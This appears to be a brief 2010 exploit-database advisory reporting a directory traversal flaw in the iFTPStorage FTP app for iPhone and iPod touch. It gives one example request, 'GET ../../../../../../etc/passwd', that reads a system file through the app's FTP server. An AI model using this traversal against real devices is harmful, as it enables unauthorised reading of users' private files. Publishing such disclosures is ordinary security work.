[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal
# Published : 2010-12-03
# Author : XEL
# Previous Title : Netcraft Toolbar 1.8.1 Remote Code Execution Exploit
# Next Title : ProFTPD 1.3.3c compromised source remote root Trojan
#############################################
### ###
## _x3l ##
# http://gahor-krisztian.hu/xel #
## xel@gahor-krisztian.hu ##
### ###
#############################################
# Exploit: iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal
# Date: 02/12/2010
# Author: _x3l
# Software Link: http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8
# Version: 1.3
# Tested on: iPhone 3GS with 4.2.1 firmware
There is directory traversal vulnerability in the iFTPStorage.
You can download all file from the iPhone when you connected to the ftp server.
For example: GET ../../../../../../etc/passwd